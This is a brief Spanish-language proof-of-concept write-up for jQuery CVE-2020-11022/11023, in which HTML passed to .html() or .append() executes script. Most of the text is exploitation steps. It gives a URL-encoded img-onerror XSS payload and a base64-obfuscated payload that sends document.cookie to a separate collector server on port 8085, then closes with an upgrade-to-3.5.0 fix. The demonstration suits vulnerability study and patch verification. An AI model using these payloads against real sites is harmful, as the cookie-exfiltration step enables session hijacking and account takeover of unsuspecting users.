CVE-2020-11022 CVE-2020-11023

En versiones de jQuery mayores o iguales a 1.2 y anteriores a 3.5.0, pasar HTML de fuentes no confiables, incluso después de sanitizarlo, a uno de los métodos de manipulación del DOM de jQuery (es decir, .html(), .append() y otros) puede ejecutar código no confiable. Este problema está corregido en jQuery 3.5.0.

En versiones de jQuery mayores o iguales a 1.0.3 y anteriores a 3.5.0, pasar HTML que contenga elementos de fuentes no confiables, incluso después de sanitizarlo, a uno de los métodos de manipulación del DOM de jQuery (es decir, .html(), .append() y otros) puede ejecutar código no confiable. Este problema está corregido en jQuery 3.5.0.

Explotación

1. Aloja la página index.php en un servidor web PHP. Sugiero usar sudo php -S 127.0.0.1:80 para iniciar un servidor rápido.

XSS Simple

2. Visita la ruta http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=alert(1)%3E
3. Presiona el botón "Añadir mediante .html()".
4. Observa la ventana emergente de alerta.

Robo de cookies

2. Inicia otro servidor web en el puerto 8085, sugiero usar Python para esto sudo python3 -m http.server 8085
3. Visita la ruta http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=eval(atob(%27ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ==%27))%3E
4. Presiona el botón "Añadir mediante .html()".
5. Revisa los registros de Python y mira tu cookie en el registro.

Solución

Si deseas solucionar este CVE en este script, simplemente cambia la versión de jQuery a https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.js :)